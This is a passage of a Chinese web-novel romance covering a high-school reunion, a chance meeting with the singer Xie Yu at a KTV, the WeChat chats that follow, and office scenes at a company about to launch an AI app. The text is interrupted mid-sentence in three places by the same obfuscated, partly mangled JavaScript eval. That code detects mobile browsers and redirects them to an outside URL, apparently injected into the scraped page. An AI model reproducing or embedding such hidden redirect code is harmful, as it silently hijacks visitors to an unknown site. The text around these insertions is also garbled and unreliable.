徐倩琳往上拖了下镜框，语气调侃：“刚还想问你怎么还不来接舒言。” 陈质走到舒言身边，笑着说：“我哪敢不来啊，这不刚把电脑关上就过来了嘛。” 徐倩琳拧开酸奶喝了一口，和他们挥手，“去吧去吧，不耽误你们了。” 舒言和陈质一起坐电梯去了地下车库。 陈质先帮她把副驾驶的车门打开，才转身去了驾驶位。 系好安全带后，车辆平稳地驶出了车库。 陈质给手机解锁，语气很自然地说：“你看一下酒楼的位置，我导个航。” “好。”舒言拿出手机点开微信，搜索高中同学群然后点了进去，给陈质报了酒楼的名字。 陈质打开地图软件输了进去，“行，30分钟，不是很远。” 外面这会儿已经天黑了，道路两旁的路灯亮了起来，公交车站的广告牌不停轮换着明星的广告。 两人只有上车那会儿说了几句话，此外的时间舒言都一直在看车窗外的风景。 他们路过一个大型商场的时候，外面的LED电子大屏上正好在播放谢玙巡回演唱会的海报。 海报上除了关键信息以外，只有一个他的黑色剪影，背景是醒目的绿色。 注意到舒言在盯着海报看，陈质也往右边扫了一眼。 他双手握着方向盘，笑着说：“今天我们办公室还有人在抢他的演唱会门票。” “不过没抢到，他那票真的太难抢了。” 舒言抿了抿唇，收回视线目视前方，“徐倩琳刚才也在抢呢，也没抢到。” 前面刚好是红灯，陈质踩了刹车减速停了下来，他偏过头看她，语气轻快：“是吧，人气真的太火爆了。” “我记得他高中还是我们学校的，和咱们一个年级，你还记得吗？” 闻言，舒言征了几秒，眼睫微垂，坦言道：“……记得啊。” “是吧，没想到他现在会这么火，咱们学校还真的是出了个大明星，真给南港人长脸。” “要是早知道他会这么火的话，当年就该找他要几张签名，说不定现在还能卖一个好价钱，你说是不是？” 陈质笑着和她开着玩笑。 舒言无声地笑了下，她刚要说什么，包里的手机突然震动了起来。 她拿出来一看，来电显示是蔡妙妙。 刚接通电话，里面就传来蔡妙妙催促的声音。 “言言，你和陈质到哪了，还有多久才能到？” 陈质也听到了电话里的声音，“你和她说，5分钟。” 舒言把陈质的话传达给蔡妙妙。 “好吧，那我等你，我给你占了个我旁边的座位。” “好，我待会来找你。” 说完就挂了电话。 陈质向右打着方向盘，“这次同学聚会来的人好像还挺多的，没想到咱们班这么多人都来了北沅发展，也不知道大家变化大不大。” 高中毕业后，大家各奔东西，很多人都难再聚在一起。 至于变化或多或少都会有一些的吧。 舒言轻笑：“是啊。对了，我听说唐临都要结婚了。” 陈质点点头，“是的，那家伙大二就开始谈恋爱，现在也谈了好多年了，我听他之前说打算年后就把婚礼办了。” “不枉他当年苦练抓娃娃技术，这恋爱还真是让他给谈明白了。” 他笑着瞥了舒言一眼，“说实话还挺羡慕他的，不像咱们都研究生毕业了，还是单身狗。” 舒言笑了笑，“一个人也挺好的，这么多年都习惯了。” 听她这么说，陈质眼中滑过一丝失落，不过很快脸上又重新扬起笑容，“也是，还好咱们都是单身狗，刚好还能做个伴。” 车子很快就停在了酒楼前，陈质去车库停车，舒言先下了车。 她站在原地等陈质的时候，忽然听见左前方传来一道有点熟悉的声音。 “舒言！” 抬头一看，许愿和许茉正朝着她跑过来，三个人兴奋地抱在了一起。 舒言笑着说：“好久没看见你们了，你们平时学习应该挺忙吧。” 许茉狠狠地点了点头。 许愿挽住她的手吐槽：“是啊是啊，我们最近去医院实习了，每天都特别忙。” 许愿和许茉当年都报考了北沅的一所军医大，姐妹俩都是临床医学系的。 过了一会儿，陈质也回来了。 几个人一起朝酒楼里面走去，在服务员的引导下到达了预定的包间。 舒言刚进去，蔡妙妙就站起来招呼她过去。 许愿和许茉也跟着一起过去，陈质则是过去挨着王远坐下。 舒言刚坐下，就撞上对面几个同学探究的目光，大家笑着打了个招呼，又寒暄了几句。 人基本上都到齐了，菜是提前就点好了的，服务员很快就把菜送了过来。 大家一边吃饭一边聊着天。 好多人自从高考完就再没见过，一开始难免有些拘束，但不知道是谁突然开始模仿起高中老师来，气氛一下子变得欢快起来。 一个男同学举着茶杯当话筒，另外一只手撑在桌子上，微微俯了点身，环环视着桌上的人，“听好了哦。在座各位，以后都是要去造火箭的，所以学好数学就尤其重要。” 刻意压低的声音，配上他浮夸的表情，逗得大家哄堂大笑。 有人问了句：“所以咱们班真的有人去造火箭了吗？” 话音一落，立马有人推了推旁边的李嘉，“这啊，咱们班的大学霸李嘉同学，飞行器制造工程专业的。” “哇，还得是李嘉同学，佩服佩服。” “来来来，我提议咱们一起举杯敬大学霸一杯，也祝咱们祖国的航天事业蒸蒸日上。” 大家刚要举杯，这时突然有人推门走了进来。 进来的女人穿了件白色的羽绒服，围了条蓝色围巾，扎着丸子头。 有人眼尖地认了出来，“班长？你终于来了。” 夏艺解下围巾又脱掉外套入了座，她笑着说：“在外面就听见你们在举杯，这种事情怎么能少得了我呢。” 于是大家重新举了杯。 过了一会儿，不知道是谁开了头，大家纷纷说起了自己的近况。 夏艺眉眼弯弯，“我呀，我现在从事的是珍稀植物保护的工作，我觉得还挺适合我的，经常穿梭在大自然里。” “哇，班长，这个工作听上去很不错啊，真羡慕你每天都能呼吸新鲜空气，不像我们只能吸雾霾和汽车尾气……” “哈哈哈哈，就是就是，这工作听上去就挺健康的……” 很快话又轮到蔡妙妙这里。 高考毕业后，她就成了某绿色网站的小说签约作者，现在已经出版好几本小说了，上个月还卖了一本影视版权大赚了一笔。 不少人都朝她投来了羡慕的目光，还有找她要亲签的。 之后大家又不约而同地看向了旁边的舒言。 当年谁不知道明明已经拿下了北大和华大降30分录取的资格，但舒言还是在高考时拿下了一个十分漂亮的成绩，成为他们那一届为数不多能裸分上北大的人。 在大家热切的注视下，舒言微笑着迎上他们的目光，“我本硕都是在北大念的，今年6月刚毕业，计算机专业，辅修的人工智能，现在在一家科技公司上班。” 有人接了她的话，“我知道我知道，陈质和你一个公司吧，听说你们在研发一个人工智能软件啊，现在人工智能可是国内的热门领域。” 舒言趁机做了个小宣传，“是的，不出意外的话，我们公司研发的AI软件很快就能上线了，这个软件功能很强大，擅长计算、编程、写作，还可以应用于医疗，教育，农业，军事等领域……” “厉害，听上去就很高级的样子，到时候一定下载来用用。” “真不错，你们公司之前开发的几款软件都挺好用的，办公方便了很多。” “……” 又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337242|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人倏地说了一句：“说起来你和陈质还真的挺有缘的，高中大学都在一个学校，现在又在一个公司上班。” “是啊，彼此还能有个照应……” “真是让人羡慕，这么多年了，感觉还是和初高中的同学关系最好。” “谁说不是呢……” 舒言只笑了笑没说话，余光注意到陈质似乎在往她这边看，可等她看过去的时候，发现他已经低头在和旁边的同学讲话了。 吃过晚饭后，有人提议找个地方继续第二场，最后决定一起去KTV唱歌。 蔡妙妙拉着舒言的手臂撒娇：“言言，咱们也去吧，想和你一起唱歌。” 舒言点头说好。 看见她脸上灿烂的笑容，舒言忽然想起一段高中的事情。 那时候她和蔡妙妙说了那次在楼梯口碰到陶续的事情，还把他认错人的事情也一起说了。 当蔡妙妙听见陶续差点打到她的时候，气得立马登上Q.Q，把他狠狠骂了一顿，然后再拉黑删除。 舒言还记得蔡妙妙当时说的是男人这种生物多的是，但是自己是她高中最好的朋友，她不可能为了男人和朋友生出嫌隙。 高中毕业后，尽管她们并不在一个城市上大学，但是一直没有断联系。 大学毕业那年，蔡妙妙就用稿费在北沅买了个小公寓，每天的工作就是宅家写小说，日子过得轻松又惬意。 …… 一行人坐车来到了附近的一家KTV。 舒言对唱歌不是很热衷，但还是在大家的起哄下点了一首。 她指尖一滑，点到了一首KTV推荐的热门歌曲，而且这首歌刚好是谢玙的。 她正要点取消，却被某个同学喊住：“别别别，这首歌我刚好会唱，真的很好听的。” 于是这首歌就被保留了下来。 没过多久就轮到了这首歌，不知道是谁塞给她一个话筒。 为了不扫兴，舒言只能看着屏幕上的歌词唱了起来。 说实话她并不擅长唱歌，但胜在声音好听，所以还不至于辣耳朵。 一曲结束，舒言蓦地松了一口气。 正当他们准备切下一首歌的时候，忽然听见隔壁的包房也开始唱他们刚才结束的那首歌。 只是这声音听着却异常的耳熟，就好像是…… “我靠，隔壁是在放原唱吧。” “是吧是吧，我也觉得，这高音部分唱得这么牛……” “我去，这哪里来的大神，谢玙的唱法这么难模仿，隔壁居然唱得跟原唱没什么区别。” “不过我怎么觉得隔壁是在向咱们宣战呢，是在嘲笑我们刚才唱得太难听了吗？” “我觉得很有可能，不行，咱们绝对不能认输，再来一遍……” “果然是民间出高手啊，我敢说就算是谢玙本人来了都不一定能达到这个水平。” 一群人就这样听完了隔壁唱的整首歌。 “来来来，咱们现在再来一遍。” “就是，绝对不能输给隔壁。” “……” 又坐了一会儿，舒言侧身凑近蔡妙妙的耳朵，“妙妙，我先出去上个厕所。” 蔡妙妙：“好。” 舒言推门出去的时候，恰好碰见隔壁的包房也有人出来。 或许是因为刚才那太过于熟悉的声音，她下意识地往里面扫了一眼，注意到角落的光影里坐着个年轻男人。 他前额的头发遮住点眉毛，大半张脸都陷在黑色的衣服领口里，只剩下一双漂亮的桃花眼露在外面。 不知道是不是察觉到什么，男人敏锐地朝她的方向看了过来，目光带了一丝凌厉。 对视的那个瞬间，舒言听见自己的心跳漏了一拍。 她赶紧收回视线，几乎是慌乱的朝着卫生间的方向走去。 从里面出来以后，舒言有些出神地盯着镜子里的自己，因为晚上喝了点酒，脸上正泛着红。 她唇边挤出一抹苦涩的笑意，低头用冷水拍了拍脸，想让自己清醒一点。 她怀疑自己是不是喝醉了，不然为什么会觉得刚才看到的那个人是谢玙。 一定是她出现幻觉了，他怎么可能会出现在这里。 都7年了。 要是能碰见早就碰见了。 舒言扯了张纸擦了擦手，转身走了出去。 只是她还没走几步，视野里忽然多了抹黑色的身影。 她脚下猛地一顿，抬头看去，正好和那人的眼睛对视上。 男人的面容还是如她记忆里那般清冷矜贵，或者说是更加出色。只是眉眼间的少年稚气完全消失了，取而代之的是成年男人的内敛和稳重。 周遭的声音在这一刻仿佛被自动屏蔽了，舒言只能听见自己胸腔内传来的狂烈心跳声。 她连呼吸都不敢太重，生怕惊扰了这个太过美好的“梦”。 她呆呆地站在原地，看着穿着黑色长款羽绒服的男人朝自己走了过来，高大挺拔的身影将她瞬间笼罩在阴影里，眼眸低垂，对她说了一句。 “好久不见。” 42. 第42章 在这个瞬间，舒言的思绪仿佛回到了16岁那年，那些沉寂已久的画面像电影一样快速在脑海里放映。 记忆中的他和眼前的他交织重合在一起，心脏嚣张的在左胸的位置跳动，她能感受到自己皮肤组织下的血液在不停翻涌，热烈的、滚烫的。 不是没想象过和他重逢时的样子，在繁华的街道，在热闹的港口，在拥挤的地铁，在飘着香气的咖啡厅……每次遇见有半点像他的人，她都愿意无数次回头，只要那个人是他就好。 只是期盼了这么久，她甚至以为再也不能这么近距离看见他的时候，他又猝不及防地重新闯进她的世界。 恍如昨日，心跳依旧。 她眼睛含了层水雾，目光一寸寸地掠过他神色难辨的脸庞。 他好像比高中的时候高了一些，还瘦了很多，下颌线清晰而流畅。 她嘴里那句“好久不见”还没说出口，余光忽然注意到不远处有人正在朝他们走来。 情急之下，舒言赶紧抓了下他的手臂提醒他，声音有种说不出来的颤，“有人过来了，你快戴上口罩。” 末了，又后知后觉地把手松开，手指无意识蜷缩了下，指尖还残留着他衣服上的凉意。 谢玙的目光落在她刚才碰到的地方，再抬眼时里面是浓郁得化不开的情绪，心情有些复杂地从口袋里拿出个新的口罩拆开戴上。 他喉结滑动了下，“好了。” 很快果然有几个人说笑着从他们身边经过。 走廊又只变成只有他们两个人了，空气中浮动着淡淡的香气。 舒言浓密的睫毛在脸上扫下大片淡淡的阴影，将情绪都隐匿在光影中。 她深吸了一口气，笑着对他说了句：“好久不见，没想到在这里遇见你。” 这个笑容一如既往的干净、大方，好像哪里都没有变，他们也如老友一样寒暄着。 不知道过了多久，谢玙下巴往出口的地方点了下，眼眸幽深，“要出去吗？” 舒言点了点头，手放进了大衣的口袋里。 不知道是不是出于默契，两个人脚下的步子都迈得很慢。 谢玙侧目看着她头顶柔软的黑色发丝，问她：“陪朋友过来的？” 舒言飞快往他的方向瞥了一眼，“是的，高中同学聚会。” 谢玙若有所思点头，又问：“大概还有多久结束？” 舒言盯着自己的脚尖，声音轻轻的，“应该还得一会儿。” 她抿抿唇角，问他：“……那你呢，也是陪朋友过来的？” 谢玙嗯了一声，“工作室有人过生日，过来庆祝一下。” 说到这时，他停顿了下，看向她的眼眸氤氲着笑意，“顺便唱了首歌。” 舒言：“……” 经他这么一提醒，她立马想起刚才他就在隔壁，那他肯定听见自己唱他的歌了，一时之间尴尬得恨不得找条地缝钻进去，本来就泛红的脸颊更烫了。 像是发现了她此刻的窘迫，谢玙的唇角扯出点上扬的弧度。 不过他很快转变了话题：“这些年你一直在北沅吗？” 舒言正要回答他的问题，一道欣喜的男声倏地插了进来。 “原来你在这里。” 见她很久都没回来的陈质找了过来，在注意到她旁边站了个个子很高的年轻男人后，瞬间警铃拉响，快步走到舒言面前，用亲昵的语气对她说：“大家都在等你回去一起玩游戏呢，我们快回去吧。” 说完他能感受到男人的视线落在了自己身上，但陈质并没有过多在意，而是一直低头看着舒言。 想到自己确实出来得有点久了，舒言抬头看着谢玙，脸上露出个抱歉的笑容，“不好意思，那我就先和我朋友回去了。”说完又很自然地看向了陈质。 捕捉到他们自然而然的互动，谢玙眼神暗淡，低声说了句：“好。” 可就在她转过身准备离开的时候，身后又响起他低沉磁性的声音。 “方便加个微信吗？” 谢玙掏出手机，点开微信，眼里隐隐带着期待。 舒言还没来得及做出反应，陈质先按捺不住了，显然是把他当成了搭讪的人，语气冷冰冰的：“抱歉，可能不太方便。”说完立马去拉舒言的胳膊，“我们走。” 谢玙挑了下眉，也不太客气看过去，“是吗？” 末了，视线又落回舒言脸上，仿佛在向她确认一样。 两个男人就这样暗暗较劲上，显然谁都不愿意让步。 空气安静得有些可怕。 舒言被他们微妙的气氛弄得有点莫名其妙，她拉开手臂上陈质的手，声音有点涩然：“陈质，他是……我朋友。” 说到“朋友”两个字的时候，舒言其实有些心虚，其实她也不知道他们还算不算朋友。 不过还是遵从内心从大衣口袋里拿出手机，点开微信二维码，递到了谢玙面前，“可以，你扫我吧。” 陈质眼神忽的一暗，意识到什么。气势一下就弱了下来。 谢玙冷白修长的手指打开扫码功能，对着她的手机识别，发出滴的一声后手机上便出现了她的微信名片，他直接点了添加。 舒言也立马通过了他的好友申请。 加上好友后，舒言放好手机，抬起头对他说：“那我们就先过去了。” 谢玙藏在口罩下的嘴角悄悄上扬，眉眼间透着愉悦，“好，回头再聊。” 回包房的路上，陈质快舒言半步走在前面。 等他们进去以后，蔡妙妙立马凑近她的耳边，表情有些八卦，“言言，你刚才怎么出去这么久？” “还有你都不知道，从你出去以后。陈质明显都坐不住了，果然等了一会儿他就出去了，我就猜到他是出去找你的。” 舒言拿了个干净的玻璃杯倒水喝，她舔了下干涩的唇瓣，“刚才在外面遇见个朋友。” 她轻笑了下，怎么会没听出蔡妙妙话里话外的意思，“陈质就是比较热心，大家都这么多年的朋友了，互相担心不是应该的嘛。” 蔡妙妙却是一副局外人看破不说破的模样，“行行行，你说什么就是什么吧。” 玩到了差不多十点半的样子，舒言他们就先回家了。 到家后舒言直接去洗了澡，不知道是不是最近加班太多，再加上今晚喝了点酒的缘故，她头发吹了个半干就躺在床上睡着了。 第二天是周六，她醒来的时候已经快12点。 舒言摸了摸床头柜上的手机，刚点开微信，就看见冒出来一大堆消息，很多都是高中同学群里发出来的。 她揉了揉眼睛，也没点进去看，直接进了卫生间洗漱。 出来后，舒言给自己烤了面包片，再抹上厚厚的蓝莓酱，又热了牛奶。 一般吃饭的时候，她习惯刷会朋友朋友圈，点进去以后连着好几条都是高中同学发的昨晚的聚会照片。 舒言挨个连着点赞，又继续往下滑，在看到下一条朋友圈时却顿了几秒。 她像是现在才想起来昨天晚上在KTV遇到了谢玙并且他还主动加了自己微信这件事。 昨晚加上以后，她甚至都没给他改备注。 舒言嘴里叼着面包片，双手握住手机看着。 他的微信昵称还是记忆中的X，头像背景是白色，中间是一个绿色的纸飞机，很普通的一张简笔画，舒言却看得有些愣神，又想起一些以前的事情。 高考结束后，她去做了一段时间兼职，后面重新给自己买了一个智能机，只可惜她的□□却再也登录不上去了，也就是说她失去了很有人的联系方式，包括他的，还是上大学后才陆陆续续加了一些人回来。 她又看向谢玙发的这条朋友圈，里面是他演唱会的信息，显然是例行的宣传工作。 舒言几乎没有犹豫地点开了他的朋友圈，只是很可惜的是他设置了三天可见，唯一能看到的朋友圈就是她刚才看的那条。 他的朋友圈很简约，连个性签名都没有，背景图是一把绿色的吉他，舒言认出来是他高中用的那把，看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347017|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来他是真的很喜欢这把吉他。 她从朋友圈退了出来，鬼使神差的，忽然想点开他的头像放大看看，谁知一不小心多点了下。 于是乎，两人的对话框里除了那句【你已经添加了X，现在可以开始聊天了】，又多了句【我拍了拍“X”】。 啊啊啊啊啊啊啊。 她为什么要拍他啊！！！ 不过她应该庆幸还好他没设置什么奇奇怪怪的后缀。 舒言心里有几分忐忑，毕竟两人昨晚加上好友后也一句话都没说，现在她突然这样，倒像是她有意在试探一样。 她甚至在想要不要发条消息解释一下。 要不干脆撤回算了…… 但万一他已经看到了呢，这样只会显得她在欲盖弥彰！！！ 可没等她纠结多久，对面那人的消息就发了过来。 舒言呼吸一颤，差点把手机扔桌上。 不过还是好奇地点开看了，他发过来的是一张照片，应该是录音棚。 紧接着又有消息发了过来。 X:【在录歌，可能得晚上才结束。】 舒言回了个ok，知道他现在在忙，就放下了手机，继续享受美味的午餐。 平时工作比较忙，也只有周末的时候能够好好放松一下。 舒言下午和蔡妙妙约了去看画展，然后还一起去了一家很火的餐厅打卡。 蔡妙妙给她拍了很多好看的照片，还叮嘱她一定要发朋友圈，不然今天份的美貌就浪费了，甚至还贴心地帮她修好了图，虽然只是简单调了个色。 舒言发完朋友圈后，蔡妙妙更是直接秒赞，紧接着很多朋友都给她点赞评论了。 她平时不是一个很爱发朋友圈的人，原因也很简单，就是比较忙而已。 她这边刚放下手机，手机就震动了一下。 点开一看，发现她和谢玙的聊天对话框出现在在前面的位置。 一种说不出来的感觉蔓延在她心头，就还蛮奇妙，又挺久违的。 看到他头像右上角的小红点，舒言点了进去。 X:【刚结束工作，你吃过晚饭了吗？】 舒言落在屏幕上的目光一凝，还是马上回复了他。 舒:【吃过了。】 他几乎是秒回。 X:【那看来今天没机会请你吃饭了。】 舒言眼睛骤然放大，他竟然想请自己吃饭。 心跳咚咚咚的在胸腔敲着鼓。 一时之间她有些不知道回复什么。 其实昨晚加上微信以后，她也没想过他们有什么后续。 过了一会儿，他又发来了消息。 X:【不好意思，现在才看到你发的朋友圈，照片很漂亮。】 X:【我知道一家很不错的餐厅，等你有空了，我们可以一起去。】 舒言点开朋友圈的小红点，发现他还给自己点了赞。 她蓦地想起现在的媒体为博取流量取的标题，脑海里立马给自己也想了一个。 震惊！某二字顶流歌手竟给神秘女子点赞，是手滑还是…… 她没忍住笑了笑，可冷静下来后，又觉得心里现在有点乱糟糟的。 说实话她不知道该以什么样的心情去面对谢玙。 一别七年，他们早已不再是当初那个青涩懵懂的少男少女。 昨晚在KTV看到他的那一秒，她发现自己依然不受控制的心跳加速，可她分不清这种悸动到底是当下的，还是被记忆唤醒的。 而且他现在已经成了闪闪发光的大明星，他们之间的距离变得越来越远，她和其他人一样甚至连一张在看台的演唱会门票都抢不到…… 应该是看她一直没回消息，那边又发来一条消息。 X:【是不太方便吗？】 听到手机震动的声音，舒言注意力又重新回到手机上，在聊天对话框里回了句“不是”，然后又补充了句“等忙过这段时候再说”。 她需要给自己一点时间冷静一下。 43. 第43章 结束聊天后，谢玙又点开了舒言的朋友圈。 最新的这一条朋友圈里有她的照片，她穿着驼色的大衣，搭配浅色系的围巾，对着镜头浅浅微笑，他的嘴角也跟着轻轻上扬。 她笑起来的时候很好看，像清晨含着露珠的洋槐花，气质淡雅又迷人。 谢玙继续往下翻了翻，发现她发的朋友圈也并不多，大多是一些日常的生活记录。 他看到她偶尔会和朋友一起出去旅游，会吐槽网红餐厅踩雷，有时间会去做公益，在期末考试周也会崩溃，会拍下路边遇到的小猫小狗…… 他挨个认真浏览，像是想要通过这些碎片和她的过去产生一丁点的关联。 七年。 他们在彼此的生活里缺失了七年时间。 他不知道这么多年自己怎么过来的，总觉得时间特别漫长。 当年梁潇雨病情突然加重，需要马上手术，而这个手术只有北沅能做，他外公刚好认识这方面的专家，他便带他们两兄妹来北沅看病。 后来又因为一些变故，他就转学回北沅了。 再后来梁潇雨去世，他们乐队解散，他陷入人生的低谷。刚回北沅那一年，他给她发过很多消息，无一例外的没有回复。 他低迷了很长一段时间，直到2018年的下半年，他才重新振作起来，发行了自己的第一张专辑，随后一夜爆红，从此他的歌总是出现在各大音乐平台的热搜榜上。 所有人都说他很成功，可他失去了曾经的队友，单枪匹马在乐坛闯荡，也没了想要分享喜悦的人。 从小生活在一个复杂的环境，又在娱乐圈混迹多年，笑容不过是待人接物时披上的面具。 谢玙从回忆里抽身，想起昨晚在包房和她对视时，胸腔内沉寂已久的心脏忽然加速跳动起来，几乎是下意识的，立马起身退开门追了上去。 在外面等她出来的时候，身侧的手紧张得握紧又松开，生怕自己又是空欢喜一场。 还好老天爷还是眷顾他的，这一次没有同他开玩笑。 只是又想到昨晚着急出来找她的那个年轻男人，他不太确定自己还有没有机会再站到她身边。 谢玙知道那是她的高中同学，他们还上了同一个大学，当年王远还告诉自己他们已经在一起了。 那现在呢…… 高楼外夜色缥缈，底下是车水马龙，谢玙走到窗边，拿出根烟点上。 他没什么烟瘾，只有心情特别烦躁的时候才会抽上一根。 喷出的白色烟雾模糊了他的脸庞，叫人看不清他脸上的情绪。 …… 等烟抽完了，助理小刘正好推门进来，他敏锐地嗅到空气里还未完全消散的烟味。 小刘：“谢哥，今晚还去那家餐厅吗？” 谢玙神色有些疲惫，淡声说不用了。 小刘替他感到遗憾，“啊，是没约到人吗？” 谢玙指尖捻了捻，刚抽过烟的嗓音有点低哑，“是的，她已经吃过了。” 小刘：“这样啊，那看来下次谢哥你得早点约人家呀。” 他挠挠头，实在按捺不住好奇：“谢哥。” “什么事？” 小刘：“她就是你一直喜欢的那个人吗？” 谢玙有个喜欢很多年的女孩在工作室并不是秘密，因为每次演唱会他都会要求主办方留下一个最佳的VIP座位。 曾经有人通过一些渠道想用天价来购买这个座位，但谢玙坚持不卖，后来他们才知道那个座位他要留给学生时代喜欢的女生，因为他曾经答应过要把前排的座位永远留给他。 可惜的是这么多年过去了，那个女生一直没在他的演唱会出现过。 但今天下午谢玙突然让自己帮忙订两个座位，小刘就猜另一位是不是就是谢玙喜欢的那个女生，因为谢玙基本没有什么私人聚会。 谢玙扬了扬唇，也没想隐瞒什么，“是啊。” 小刘控制不住自己激动的声音，“哇，那谢哥祝你早日追到她。” 谢玙垂眸笑了笑，还不忘提醒：“暂时先帮我保密。” 他也希望自己还有机会追求她。 但是也不能太着急，毕竟有些事情还需要找个机会确认一下。 小刘笑着说：“谢哥你放心，我绝对不会告诉别人的。你条件这么好，肯定没问题的。那不去餐厅了的话，我先开车送你回家吧。” 谢玙说行。 — 周一又进入了忙碌的工作状态。 云阙科技的AI软件还有几天就要正式上线，需要大量的前期准备工作来确保系统的安全性和稳定性。 其实之前他们已经小范围的开放试用过，又根据测试结果进行了进一步的调整，现在他们手里的AI软件已经是第6个版本。 中午休息的间隙，大家有一搭没一搭的聊着天。 徐倩琳刷着小红书，看到好多人都在晒自己抢到了谢玙的演唱会门票。 她发出一声羡慕的长叹，“我怎么就是抢不到呢，我上大学那会就开始喜欢谢玙了，现在研究生都毕业了，还是没能去看他的演唱会，我怎么这么命苦啊！” “对了，舒言，我记得你是不是南港人。” 舒言从电脑屏幕前移开视线看她，“是的。” 一听她这话，徐倩琳顿时有些兴奋了，上半身往她的方向倾了点，“哇，你知道吗，谢玙也是南港人，他还在南港上过一段时间的高中呢。” “不过他好像是在北沅高考的，大学期间还出国留学了两年。” 舒言放在键盘上的手指顿了下，“嗯，我知道。” 不管是他是南港人这件事，还是他出国留学的事情。 徐倩琳也没多想，“哈哈哈，也对，这些信息网上都有，甚至还有他高中学生节的表演和采访呢。高中时代的谢玙也好帅啊，学校的女生不得暗恋个好几年啊……还有你都不知道那个唱歌的视频我看了多少遍，他真的太有才华了，高中就能写出这么好听的歌，现在都成他的代表作之一呢……” 说着说着徐倩琳又觉得心烦，她挠挠头发，仿佛失去了所有的力气，“啊，到底怎么样才能让我现场听一次他唱歌啊，我好想去看他的演唱会。” 旁边的一个男同事接了话，“其实现在就有个办法。” 徐倩琳被他的话勾引住，迫不及待地问：“吴明，什么办法，快说。” 吴明：“很简单啊，不过这事你得找老大。” 徐倩琳急忙催促他：“别卖关子了，快说！” 吴明朝她挤眉弄眼，“咱们这个软件不是马上要上线了嘛，那为了吸引更多用户来使用，一般不是可以请明星和网红来推广嘛，我的意思就是让咱们老大去请谢玙来做推广，他和咱们公司有了合作后，没准会送几张演唱会给老大，到时候……” 徐倩琳眼睛冒星星，“哇哇哇，吴明，你真是个大聪明！到时候说不定谢玙还会来咱们公司，这样我还可以近距离见到本人！” 坐在对面的舒言在听见他们的聊天内容时不由得征了几秒，但又觉得可能性不大，谢玙这几年的商务并不多，而且基本都是和高端品牌合作。 “聊什么呢，笑得这么开心。”这时办公室门口突然插进来一道声音。 大家寻声看去，发现徐清让走了进来。 徐请让是云阙科技的创始人，也是从北大计算机系毕业的，他还是舒言的同门师兄，舒言本科期间就开始参与徐请让公司的项目，后面毕业后就直接接受了他给的offer。 徐倩琳和吴明赶紧低下头假装很忙的样子。 见状，徐请让也没说什么，而是径直走到舒言的办公桌前，看样子显然是有正事要说。 舒言抬起头问：“徐总，有什么事吗？” 徐请让点点头，“根据以往的经验，咱们这个软件上线后可能会遭到大量的外部攻击，所以咱们还要加大防护的力度，到时候上线后也要安排人及时排查维护，这个板块还是交给你来负责。” 他指了指电脑屏幕，“哦，对了，我刚才发现系统的流畅度还是不够，必须要及时debug（排除bug），从明天起咱们团队再交换审查一次代码，确保软件顺利上线。” 舒言看着他说的地方，“好，我待会看一下。” 徐请让又和她叮嘱了几句，说：“辛苦了，忙过这段时间给你们放个假。” 等他忙完正事，徐倩琳这才大着胆子和徐请让开了口：“徐总，咱们这个软件要不要找个明星推广一下啊。” 徐请让眉头轻扬，双手环胸看她，“哦？看来你是有合适的人选了？” 徐倩琳内心一阵狂喜，但脸上还是一副我都是为了公司着想的表情。 “这个嘛，我觉得现在的演员都太容易塌房了，不如请个歌星，我觉得谢玙就挺不错的，他流量大国民度广，现在随便走进一家店铺都能听见他的歌，而且出道这么多年他也没有黑料。” 徐请让早就知道她喜欢谢玙，每天恨不得发几百条朋友给他打歌，他都给她朋友圈屏蔽了。 于是毫不留情地揭穿她：“哦，找谢玙，然后好方便你公费追星？” 徐倩琳：“……” 都快要哭出来，尴尬又不失礼貌地说：“阿这，老大，你要不要这么聪明啊。” 徐请让正了正神色，“好了，这不是你该操心的事情，专心写你的代码，宣传部那边自有定夺。” 说完就转身离开了。 等他的身影彻底消失在视野后，徐倩琳才转过去对着吴明一阵输出。 “啊啊啊，看看你，出的什么馊主意，现在徐总对我印象更不好了……” 吴明在旁边拼命憋笑，“哈哈哈哈，徐倩琳你是不是忘了，你自己天天在朋友圈发谢玙的歌，只要不是傻子都能看得出来你喜欢他吧，更何况咱们英明神武的老大。” 徐倩琳生气地冷哼了一声，“闭嘴，我要睡觉了。” 吴明：“好好好，睡觉睡觉。” 下午上班后，舒言开始debug，结束后又开始做压力测试和安全测试。 AI软件最终确定在下周一上线，经过投票最终给它取名叫Nexora，结合了了Next和Aura，象征着未来感和智能感的结合。 到目前为止，国内的AI软件并不突出，而国外推出的AI软件占据了绝大部分的市场，因而他们公司这款AI软件一直备受关注，政府也给予了很大的扶持。 下班后，陈质来办公室找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351809|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒言。 